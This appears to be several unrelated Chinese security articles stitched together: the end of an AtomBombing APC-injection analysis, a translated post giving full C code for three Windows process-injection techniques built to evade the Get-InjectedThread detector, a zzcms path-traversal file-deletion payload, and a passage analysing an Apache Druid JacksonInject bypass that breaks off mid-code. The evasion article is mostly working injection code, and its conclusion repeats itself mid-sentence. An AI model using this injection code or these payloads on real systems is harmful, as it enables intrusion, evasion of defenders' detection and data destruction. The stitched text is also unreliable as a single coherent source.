(5) 如果没有删除APC队列，不能反复注入同一函数
(6) 使用APC注入，需要目标进程中至少有一个线程处于警戒状态或者能够进入警戒状态，否则无法实现APC注入
**注：**
大部分系统进程都满足条件，支持APC注入
可供参考的APC注入代码：
<https://github.com/3gstudent/Inject-dll-by-APC>
### 3、shellcode
在漏洞利用中，shellCode是指输入到存在漏洞的程序中的代码
相当于一个二进制代码框架，最终会将程序的流程跳转到payload
### 4、payload
主要功能代码(常见的如下载执行、反弹shell、新建用户等)，包含在shellCode中
## 0x03 实现方法
### 1、将任意数据写入目标进程地址空间中的任意位置(Write-What-Where)
通过读写atom向目标进程传递shellcode
自身进程通过GlobalAddAtom将shellcode添加到Global Atom
Table中，目标进程调用GlobalGetAtomName即可从Global Atom Table中获取shellcode
所以接下来的关键是如何使目标进程调用GlobalGetAtomName
Tal Liberman的思路是通过APC注入，使目标进程调用GlobalGetAtomName
但是这里遇到了一个难题，QueueUserAPC函数只能向目标进程传入一个参数，而GlobalGetAtomName需要三个参数
于是Tal Liberman调试了QueueUserAPC函数，发现通过NtQueueApcThread函数能够传递三个参数
该问题得到解决
### 2、执行shellcode
目标进程调用GlobalGetAtomName从Global Atom Table中获取shellcode后，需要先保存shellcode再执行
第一种实现方法： 找到一段RWX的内存存储并执行
不通用，目前的系统保护机制很难找到这样的内存空间
第二种实现方法： 调用VirtualAllocEx分配一段内存
常用方法
**注:**
其他常见方法如通过VirtualProtect将shellcode的内存属性设置为可读可写可执行，然后跳到shellcode继续执行在这里的效果并不好，因为需要考虑使用QueueUserAPC函数传入参数的问题
所以Tal Liberman尝试了第三种方法： 找到一段RW的内存写入数据，构造ROP链实现shellcode的执行
寻找一段RW的内存并不难，Tal Liberman选择了KERNELBASE数据段后未使用的空间
ROP链实现了以下功能：
1. 申请RWX内存
2. 将shellcode从RW内存处拷贝到RWX内存储
3. 执行
**注：**
在ROP链的构造上，Tal Liberman提供了自己的思路，尽可能简化ROP链，优化思路值得学习
### 3、恢复执行
注入后需要恢复目标进程的执行，使用未公开的函数ZwContinue
## 0x04 实际测试
测试系统： Win7 x86
安装python，安装pefile(easy_install pefile)
编译生成AtomBombing.exe、AtomBombingShellcode.exe和AtomBombingShellcode.h
**注：**
AtomBombingShellcode.h由`\AtomBombingShellcode\Scripts\Post_Link.py`生成，可在AtomBombingShellcode工程中的后期生成事件中查看具体参数，如下图
启动chrome.exe，执行AtomBombing.exe，注入成功，如下图
**补充：**
Windows 8.1 update 3和Windows 10添加了一个新的保护机制CFG(Control Flow
Guard),CFG的绕过可参考如下链接：
<https://blog.ensilo.com/atombombing-cfg-protected-processes>
## 0x05 利用分析
综合公开资料和实际测试，可以将AtomBombing理解为一个APC注入的升级版： 利用Atom
Table传递shellcode，通过NtQueueApcThread实现APC注入，shellcode采用构造ROP链的方式，实现了申请内存、写入payload(弹出计算器)并执行的功能
Atom Table支持Windows全平台，并且短期内该功能不会被取消，也不存在修复措施，所以可以在某种程度上理解为不存在修复AtomBombing的补丁
但是，想实现AtomBombing的利用，需要综合考虑多个问题(如获取处于警戒状态的线程、通过NtQueueApcThread传入参数、寻找RX内存，构造ROP链等)，利用门槛较高
并不适用于所有进程(目标进程中至少有一个线程处于警戒状态或者能够进入警戒状态)
能绕过部分杀毒软件，但不能绕过所有的杀毒软件(使用NtQueueApcThread进行注入)
## 0x06 检测防御
将AtomBombing理解为APC注入的升级版，所以参照APC注入的防御方法即可，攻击者首先需要获得系统的执行权限，并找到符合条件的进程
**检测：**
监控NtQueueApcThread函数的调用
## 0x07 小结
本文介绍了AtomBombing的实现思路和关键技术，经过实际测试，得出最终结论，AtomBombing是一种新的DLL注入方法，可以理解为一个APC注入的升级版：
利用Atom
Table传递shellcode，通过NtQueueApcThread实现APC注入，shellcode采用构造ROP链的方式，实现了申请内存、写入payload(弹出计算器)并执行的功能 | 社区文章 |
# 深入分析Get-InjectedThread进程注入检测工具的原理并尝试绕过
|
##### 译文声明
本文是翻译文章，文章原作者 xpn，文章来源：blog.xpnsec.com
原文地址：<https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在安全这个领域，我非常热衷于红蓝对抗这样的“猫鼠大战”，在比赛过程中，双方会迫使对方去尽全力投入比赛。通常，有许多非常厉害的工具不断发布，这些工具就可以帮助防守方检测恶意软件或监测Shellcode是否已经被执行。而对于红方（攻击方）而言，如果想要进行一次成功的渗透，那么了解这些防御工具的功能就至关重要。
最近，我阅读了一篇非常不错的文章《Defenders Think in Graphs
Too!》，该文章可以在SpectreOps的博客上找到。这篇文章是一个系列专题的开篇，主要研究进程注入检测的案例，并进行数据采集、数据评估和数据分析。如果你还没有读过，我强烈建议你首先阅读这篇文章。
在该文章中，讨论了一个名为“Get-InjectedThread”的工具，该工具是一个PowerShell脚本，能够列举当前正在运行的进程，检测并显示可能已经被进程注入的可疑进程。这一工具可以在GitHub下载。
当我看到这一工具时，我想的第一件事就是，如果在对抗期间遇到了这样的工具，应该如何绕过它的检测。此外，由于我对Windows安全这一领域比较感兴趣，所以我希望能够在这一工具的基础上，对Get-InjectedThread进行改进和迭代，或者开发出来原理类似的其他工具。本文将主要采用几种不同的技术，来帮助大家理解并掌握如何绕过此类分析。
## 初尝试：如何绕过检测
通常，当我们试图在另一个进程中执行代码时，会使用VirtualAllocEx -> WriteProcessMemory ->
CreateRemoteThread这条链。那么，让我们看看Get-InjectedThread是如何实际使用的。首先将Shellcode注入进程，随后运行Get-InjectedThread：
由此可见，Get-InjectedThread的效果确实不错。在这里，我们看到注入到cmd.exe中的Shellcode已经被捕获到，并且显示了出来，这就说明该进程是非常可疑的。Get-InjectedThread之所以能够实现这一点，是因为它会对系统上正在运行的线程进行分析。随后，会遍历与线程起始地址相关联的内存区域，如果发现内存中缺少MEM_IMAGE标志，那么该工具会提示该线程很可能是从动态分配的内存中运行（很可能来自VirtualAllocEx或类似调用），而不是从DLL或EXE中派生出来。
现在，我们查看一下它的代码，来看看究竟是如何进行这些检查工作的：
function Get-InjectedThread
{
...
$hSnapshot = CreateToolhelp32Snapshot -ProcessId 0 -Flags 4
$Thread = Thread32First -SnapshotHandle $hSnapshot
do
{
$proc = Get-Process -Id $Thread.th32OwnerProcessId
if($Thread.th32OwnerProcessId -ne 0 -and $Thread.th32OwnerProcessId -ne 4)
{
$hThread = OpenThread -ThreadId $Thread.th32ThreadID -DesiredAccess $THREAD_ALL_ACCESS -InheritHandle $false
if($hThread -ne 0)
{
$BaseAddress = NtQueryInformationThread -ThreadHandle $hThread
$hProcess = OpenProcess -ProcessId $Thread.th32OwnerProcessID -DesiredAccess $PROCESS_ALL_ACCESS -InheritHandle $false
if($hProcess -ne 0)
{
$memory_basic_info = VirtualQueryEx -ProcessHandle $hProcess -BaseAddress $BaseAddress
$AllocatedMemoryProtection = $memory_basic_info.AllocationProtect -as $MemProtection
$MemoryProtection = $memory_basic_info.Protect -as $MemProtection
$MemoryState = $memory_basic_info.State -as $MemState
$MemoryType = $memory_basic_info.Type -as $MemType
if($MemoryState -eq $MemState::MEM_COMMIT -and $MemoryType -ne $MemType::MEM_IMAGE)
{
...
在上述代码中，有几个地方需要我们重点关注。首先是：
$BaseAddress = NtQueryInformationThread -ThreadHandle $hThread
该命令负责检索正在运行的线程的入口地址。在注入Shellcode时，通常会是提供给CreateRemoteThread调用的地址。例如：
threadHandle = CreateRemoteThread(
processHandle,
NULL,
0,
BASE_ADDRESS,
NULL,
CREATE_SUSPENDED,
NULL
);
接下来一个有意思的调用是：
$memory_basic_info = VirtualQueryEx -ProcessHandle $hProcess -BaseAddress $BaseAddress
这一行代码是在调用Win32函数VirtualQueryEx，该函数会返回与正在运行线程的基地址相关的内存分配信息，其中包括内存保护、大小、标志等等。
得到该信息后，会用于以下命令中：
if($MemoryState -eq $MemState::MEM_COMMIT -and $MemoryType -ne $MemType::MEM_IMAGE)
在这里我们看到有一个最终的检查，会检查线程的基地址是否存在MEM_COMMIT标志且缺少MEM_IMAGE标志。如果判断为真，那么该线程就很可能是从动态内存中注入并运行的，工具将突出显示该线程以提醒用户。
在了解上述原理之后，我们来看看是否有方法可以绕过这些检查，同时还得保证该工具处于正常运行状态之下。
## 通过LoadLibrary注入DLL
要避免被该工具发现，我们选择的第一种方法是将Shellcode添加到DLL中，然后使用LoadLibraryA作为我们的入口点。通过这样，我们能绕过下述检查，因为入口点现在已经在MEM_IMAGE标记的内存中：
if($MemoryState -eq $MemState::MEM_COMMIT -and $MemoryType -ne $MemType::MEM_IMAGE)
要定位LoadLibraryA，我们需要进行如下步骤：
1、获取LoadLibraryA调用的地址；
2、在目标进程中分配内存；
3、将我们DLL的路径写入分配的内存中；
4、调用启动一个新线程，入口点为LoadLibraryA，将DLL路径内存地址作为参数传递。
具体实现如下：
int example_loadlibrary(int pid) {
char currentDir[MAX_PATH];
SIZE_T bytesWritten = 0;
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (processHandle == INVALID_HANDLE_VALUE) {
printf("[X] Error: Could not open process with PID %dn", pid);
return 1;
}
void *alloc = VirtualAllocEx(processHandle, 0, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (alloc == NULL) {
printf("[X] Error: Could not allocate memory in processn");
return 1;
}
void *_loadLibrary = GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA");
if (_loadLibrary == NULL) {
printf("[X] Error: Could not find address of LoadLibraryn");
return 1;
}
GetCurrentDirectoryA(MAX_PATH, currentDir);
strncat_s(currentDir, "\injectme.dll", MAX_PATH);
printf("[*] Injecting path to load DLL: %sn", currentDir);
if (!WriteProcessMemory(processHandle, alloc, currentDir, strlen(currentDir) + 1, &bytesWritten)) {
printf("[X] Error: Could not write into process memoryn");
return 2;
}
printf("[*] Written %d bytesn", bytesWritten);
if (CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)_loadLibrary, alloc, 0, NULL) == NULL) {
printf("[X] Error: CreateRemoteThread failed [%d] :(n", GetLastError());
return 2;
}
}
我们尝试让注入的DLL能够调用MessageBoxA来证明是否成功：
在这里能看到，我们已经成功地将我们的Shellcode注入了cmd.exe，随后弹出了消息框。重要的是，这次注入过程没有被Get-InjectedThread监测到。
当然，这种方法有一个明显的缺点，就是我们要将一个DLL放到磁盘上来执行注入，这样一来就增大了我们Shellcode被发现的风险。这是一个不错的开头，但我们还需要尝试能否解决这一问题。
## SetThreadContext
我们现在知道，避免被捕获的一个好方法是将线程的入口地址设置为带有MEM_IMAGE标志的内存区域中。但是，如果我们在启动之前更新线程的入口点，这样能够逃避检测吗？
在接下来的尝试中，我们打算利用SetThreadContext调用，将执行流重定向到我们注入的Shellcode，主要分为以下几个步骤：
1、在目标进程中分配内存，以存储我们的Shellcode；
2、将Shellcode复制到分配的内存中；
3、派生一个挂起的线程，并将ThreadProc设置为任意带有MEM_IMAGE标志的内存区域；
4、对挂起的线程进行检索，查找当前的寄存器；
5、更新RIP寄存器，指向存储在分配内存中的Shellcode；
6、恢复执行。
通过上述方法，尽管我们还没有真正从带有MEM_IMAGE标志的内存区域的地址执行代码，但线程的基地址将是这一地址。然后，通过对RIP寄存器进行修改，使其指向我们的Shellcode，从而实现了Shellcode的执行，同时也绕过了Get-InjectedThread。我们的代码如下：
unsigned char shellcode[256] = {
0x90, 0x90, 0x90, 0x90, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x31, 0xc9, 0x48, 0x8d, 0x15,
0x14, 0x00, 0x00, 0x00, 0x49, 0x89, 0xd0, 0x4d, 0x31, 0xc9,
0x48, 0xb8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0xff, 0xd0, 0xeb, 0xfe, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64,
0x20, 0x54, 0x65, 0x73, 0x74, 0x00, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff
};
int example_switchsuspend(int pid) {
char currentDir[MAX_PATH];
SIZE_T bytesWritten = 0;
HANDLE threadHandle;
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (processHandle == INVALID_HANDLE_VALUE) {
printf("[X] Error: Could not open process with PID %dn", pid);
return 1;
}
void *alloc = VirtualAllocEx(processHandle, 0, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == NULL) {
printf("[X] Error: Could not allocate memory in processn");
return 1;
}
void *_loadLibrary = GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA");
if (_loadLibrary == NULL) {
printf("[X] Error: Could not find address of LoadLibraryn");
return 1;
}
*(DWORD64 *)(shellcode + 26) = (DWORD64)GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA");
if (!WriteProcessMemory(processHandle, alloc, shellcode, sizeof(shellcode), &bytesWritten)) {
printf("[X] Error: Could not write to process memoryn");
return 2;
}
printf("[*] Written %d bytes to %pn", bytesWritten, alloc);
threadHandle = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)_loadLibrary, NULL, CREATE_SUSPENDED, NULL);
if (threadHandle == NULL) {
printf("[X] Error: CreateRemoteThread failed [%d] :(n", GetLastError());
return 2;
}
// Get the current registers set for our thread
CONTEXT ctx;
ZeroMemory(&ctx, sizeof(CONTEXT));
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(threadHandle, &ctx);
printf("[*] RIP register set to %pn", ctx.Rip);
printf("[*] Updating RIP to point to our shellcoden");
ctx.Rip = (DWORD64)alloc;
printf("[*] Resuming thread execution at our shellcode addressn");
SetThreadContext(threadHandle, &ctx);
ResumeThread(threadHandle);
}
运行后，证明了第二种执行Shellcode的方法是可行的，可以将我们的线程注入到notepad.exe中：
## 返回导向线程
大家可能了解返回导向编程（Return-oriented
Programming），这是一种高级的内存攻击技术，可以绕过现代操作系统的各种通用防御。而在这里我们说的是返回导向线程（Return Oriented
Threading），我们要利用现有的带有MEM_IMAGE的二进制文件中的指令，将执行传递给我们的Shellcode。因此我们的思路大致如下：
1、在目标进程中分配内存，存储我们的Shellcode；
2、将Shellcode复制到分配的内存中；
3、在目标进程中寻找一个“小工具”，从而让线程跳转到Shellcode中；
4、用指向这一“小工具”的ThreadProc启动我们的线程。
目前已经知道，需要使用CreateRemoteThread调用来执行我们的线程，该调用会执行ThreadProc的地址。同时，我们可以将可选的参数传递给ThreadProc。
在x64进程中，参数会被传入rcx寄存器。那么，我们的”小工具”是否可以是jmp rcx呢？
这样一来，我们可以将ThreadProc的地址设置为jmp
rcx，并将Shellcode的地址作为参数。同时，这样也能确保线程的基地址位于MEM_IMAGE的内存区域中，应该能够绕过检测。
下面是该方案具体实现的示例：
unsigned char shellcode[256] = {
0x90, 0x90, 0x90, 0x90, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x31, 0xc9, 0x48, 0x8d, 0x15,
0x14, 0x00, 0x00, 0x00, 0x49, 0x89, 0xd0, 0x4d, 0x31, 0xc9,
0x48, 0xb8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0xff, 0xd0, 0xeb, 0xfe, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64,
0x20, 0x54, 0x65, 0x73, 0x74, 0x00, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff
};
int example_rop(int pid) {
char currentDir[MAX_PATH], buffer[4096];
SIZE_T bytesWritten = 0, bytesRead = 0;
HANDLE threadHandle;
DWORD i = 0, j = 0, threadId = 0;
void *retGadget = NULL;
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (processHandle == INVALID_HANDLE_VALUE) {
printf("[X] Error: Could not open process with PID %dn", pid);
return 1;
}
void *alloc = VirtualAllocEx(processHandle, 0, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == NULL) {
printf("[X] Error: Could not allocate memory in processn");
return 1;
}
// Update our MessageBoxA shellcode with the API address
*(DWORD64 *)(shellcode + 26) = (DWORD64)GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA");
// Test victim process, VBoxTray
char *base = (char *)LoadLibraryA("VBoxTray.exe");
if (base == NULL) {
printf("[X] Could not load DLLn");
return 2;
}
// Hunting for a JMP RCX (xffxe1) instruction
for (i = 0; i < 100000 && retGadget == NULL; i += bytesRead) {
printf("[*] Hunting for gadget at address %pn", (char *)base + i);
ReadProcessMemory(processHandle, (char *)base + i, buffer, 4096, &bytesRead);
for (j = 0; j + 1 < bytesRead && retGadget == NULL; j++) {
if (buffer[j] == 'xff' && buffer[j+1] == 'xe1') {
retGadget = (char *)base + i + j;
}
}
}
if (retGadget == NULL) {
printf("[X] Error: Could not find JMP gadgetn");
return 2;
}
printf("[*] Found JMP RCX gadget at address %pn", retGadget);
if (!WriteProcessMemory(processHandle, alloc, shellcode, sizeof(shellcode), &bytesWritten)) {
printf("[X] Error writing shellcode into memoryn");
return 2;
}
printf("[*] Written %d bytes of shellcode to %pn", bytesWritten, alloc);
printf("[*] Starting thread executionn");
threadHandle = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)((char*)retGadget), alloc, 0, &threadId);
if (threadHandle == NULL) {
printf("[X] Error: CreateRemoteThread failed [%d] :(n", GetLastError());
return 2;
}
printf("[*] Thread ID %x createdn", threadId);
}
当我们执行后，发现Shellcode成功运行，同时也没有产生告警：
## 总结
这样一来，就大功告成了。我们发现有几种不同的方法可以派生出线程，同时隐藏实际的开始地址。如果你遇到了类似的检测技术，也可以尝试采用这样的方法来进行绕过。当然，如果你能够借助Get-InjectedThreads检测到上述示例的注入过程，希望能与我交这样一来，就大功告成了。我们发现有几种不同的方法可以派生出线程，同时隐藏实际的开始地址。如果你遇到了类似的检测技术，也可以尝试采用这样的方法来进行绕过。当然，如果你能够借助Get-InjectedThreads检测到上述示例的注入过程，希望能与我交流讨论！
## 扩展阅读
[1] Get-InjectedThreads：
<https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2>
[2] EndGame – Hunting in memory：
<https://www.endgame.com/blog/technical-blog/hunting-memory>
[3] Hunting in memory presentation：
<https://www.sans.org/summit-archives/file/summit-archive-1492714038.pdf>
[4] 关于ROP（返回导向编程）技术：
<https://www.anquanke.com/post/id/85619> | 社区文章 |
zzcms 任意删除文件漏洞(CVE-2019-8411) 分析
# Payload：
action = del＆filename = .. / 1.php
# 漏洞分析
这个漏洞产生的很大原因是开发者没有按照正确的安全开发，对敏感操作没有进行认证。
打开admin/dl_data.php，发现只要把del赋值action参数，然后添加需要删除的文件，就可以删除了，没有进行任何的认证。
从下面的图片可以看出，只要action参数等于'del'时，就能进随意的删除了，无需什么认证这个操作是极其危险。
进行简单的添加认证后，这个Payload 就失效了，当然这个认证只是我个人的随意添加的，更多细节需要开发者团队自己增加。 | 社区文章 |
### 背景
通过分析漏洞的原理，学习大佬的挖洞思路，以及根据commit和diff分析poc的构造思路。
一些前置的jackson注解相关知识
* JacksonInject
假设json字段有一些缺少的属性，转换成实体类的时候没有的属性将为null,但是我们在某些需求当中需要将为null的属性都设置为默认值，这时候我们就可以用到这个注解了，它的功能就是在反序列化的时候将没有的字段设置为我们设置好的默认值
* JsonProperty
此注解用于属性上，作用是把该属性的名称序列化为另外一个名称
* JsonValue
可以用在get方法或者属性字段上，一个类只能用一个，当加上@JsonValue注解时，该类的json化结果，只有这个get方法的返回值，而不是这个类的属性键值对.
* JsonCreator
当json在反序列化时，默认选择类的无参构造函数创建类对象，没有无参构造函数时会报错，JsonCreator作用就是指定一个有参构造函数供反序列化时调用。
该构造方法的参数前面需要加上@JsonProperty,否则会报错。
* JsonTypeInfo
作用于类或接口，被用来处理多态类型的序列化及反序列化。
## 漏洞分析
先看GitHub上的diff
<https://github.com/apache/druid/compare/0.20.0...0.20.1>
commit记录不太多，且包含一些版本号更迭相关的commit记录，在commit记录中可以看到，这个commit记录最契合此次漏洞。
几个修改点
* core/src/main/java/org/apache/druid/guice/DruidSecondaryModule.java#setupJackson
这个函数的作用是给jackson的ObjectMapper
对象增加InjectableValues的值。用于处理jackson反序列化对象的JacksonInject注解。
没有逻辑修改，只是函数封装了一下
* core/src/main/java/org/apache/druid/guice/GuiceAnnotationIntrospector.java
这个类改动很大，而且加了很多关键的注释。
重写了一个方法`findPropertyIgnorals`，注释给出的解释是：
> 这个方法用来在jackson反序列化中找到哪些属性需要忽略掉。jackson会在处理每一个类的每一个构造方法参数时调用这个方法。
如果用户传入的属性有JsonProperty注解，则会返回`JsonIgnoreProperties.Value.empty()`，否则这个函数会返回`JsonIgnoreProperties.Value.forIgnoredProperties("")`,也就是不允许传入属性名为空的字段。
在这个函数的内部也写了一段注释讲了为什么要写这个函数，翻译如下：
>
> 我们在任何情况下都不应该允许空字段名。然而在Jackson的反序列化中就存在一个已知的bug忽略了这一点（详情见<https://github.com/FasterXML/jackson-> databind/issues/3022>），这个bug导致了即使数组中都是合法的字段，依然会反序列化失败。为了解决这个bug，当接收到的属性带着JsonProperty
> 并且需要被反序列化时，我们返回了一个empty，这才是合理的，因为每一个带着JsonProperty
> 的属性都应该有一个不为空的名字，如果jackson修复了这个bug，我们就会移除这段函数检查。
这个新函数也很简单
public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
{
if (ac instanceof AnnotatedParameter) {
final AnnotatedParameter ap = (AnnotatedParameter) ac;
if (ap.hasAnnotation(JsonProperty.class)) {
return JsonIgnoreProperties.Value.empty();
}
}
return JsonIgnoreProperties.Value.forIgnoredProperties("");
}
}
如果注解不继承AnnotatedParameter并且不带有JsonProperty，则会返回JsonIgnoreProperties.Value.forIgnoredProperties("")，即忽略这个参数，这个函数默认的方式是直接返回JsonIgnoreProperties.Value.empty()
com.fasterxml.jackson.databind.AnnotationIntrospector.java
public Value findPropertyIgnorals(Annotated ac) {
return Value.empty();
}
光有这些信息，还是没有看清楚到底漏洞在哪，原因是对于jackson的这个bug理解不够。大概能理解的意思是，程序原本会反序列化所有字段，但是现在如果字段没有带有JsonProperty就会被忽略掉。
结合这次commit中的Test信息，能更清楚的看懂这个漏洞。
新增测试类core/src/test/java/org/apache/druid/guice/DruidSecondaryModuleTest.java。代码中包含了两个反序列化测试类：
private static class ClassWithJacksonInject
{
private final String test;
private InjectedParameter injected;
@JsonCreator
public ClassWithJacksonInject(
@JsonProperty("test") String test,
@JacksonInject InjectedParameter injected
)
{
this.test = test;
this.injected = injected;
}
@JsonProperty
public String getTest()
{
return test;
}
}
private static class ClassWithEmptyProperty
{
private final String test;
private InjectedParameter injected;
@JsonCreator
public ClassWithEmptyProperty(
@JsonProperty("test") String test,
@JacksonInject @JsonProperty("") InjectedParameter injected
)
{
this.test = test;
this.injected = injected;
}
@JsonProperty
public String getTest()
{
return test;
}
}
}
在test中找用到了这两个类的方法
先看第一个，ClassWithJacksonInject
@Test
public void testInjectWithAnEmptyPropertyNotOverrideInjection() throws JsonProcessingException
{
final Properties props = new Properties();
props.setProperty(PROPERTY_NAME, PROPERTY_VALUE);
final Injector injector = makeInjectorWithProperties(props);
final ObjectMapper mapper = makeObjectMapper(injector);
final String json = "{\"test\": \"this is an injection test\", \"\": \"nice try\" }";
final ClassWithJacksonInject object = mapper.readValue(json, ClassWithJacksonInject.class);
Assert.assertEquals("this is an injection test", object.test);
Assert.assertEquals(PROPERTY_VALUE, object.injected.val);
}
@Test
public void testInjectNormal() throws JsonProcessingException
{
final Properties props = new Properties();
props.setProperty(PROPERTY_NAME, PROPERTY_VALUE);
final Injector injector = makeInjectorWithProperties(props);
final ObjectMapper mapper = makeObjectMapper(injector);
final String json = "{\"test\": \"this is an injection test\" }";
final ClassWithJacksonInject object = mapper.readValue(json, ClassWithJacksonInject.class);
Assert.assertEquals("this is an injection test", object.test);
Assert.assertEquals(PROPERTY_VALUE, object.injected.val);
}
两个方法区别在第一个多了一个name为""的字段，在本地模拟一下，创建如下类：
public class Student {
@JsonCreator
public Student(
@JsonProperty("name")String name,
@JacksonInject String trueName
){
this.name=name;
this.trueName=trueName;
}
private String trueName;
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getTrueName() {
return trueName;
}
public void setTrueName(String trueName) {
this.trueName = trueName;
}
}
构造方法中两个参数，一个带有JsonProperty注解一个带有JacksonInject
注解，按照druid的commit中的方法进行数据输入，带有JsonProperty标签的置值，并带一个""名字的数据
String json= "{\"name\":\"name is one\",\"\":\"trueName is two\"}";
结果是JacksonInject 标签的属性被置入了字段为""的值
接着测试第二种反序列化类
public class Student {
@JsonCreator
public Student(
@JsonProperty("name")String name,
@JacksonInject @JsonProperty("") String trueName
){
this.name=name;
this.trueName=trueName;
}
private String trueName;
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getTrueName() {
return trueName;
}
public void setTrueName(String trueName) {
this.trueName = trueName;
}
}
还是使用上面相同的payload发现也被成功置值。通过两个测试可以发现，jackson反序列化对象的JacksonInject
注解的属性会被名为`""`的字段填充。
## 漏洞触发
现在已知的利用点是可以利用""为键名将用户自定义的数据匹配到JacksonInject 注解修饰的字段中。
在druid中搜索@JacksonInject，匹配到的数据很多，<https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw>这篇文章中使用的是org.apache.druid.query.filter.JavaScriptDimFilter类，它的构造函数参数如下：
public JavaScriptDimFilter(
@JsonProperty("dimension") String dimension,
@JsonProperty("function") String function,
@JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
@JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
@JacksonInject JavaScriptConfig config
)
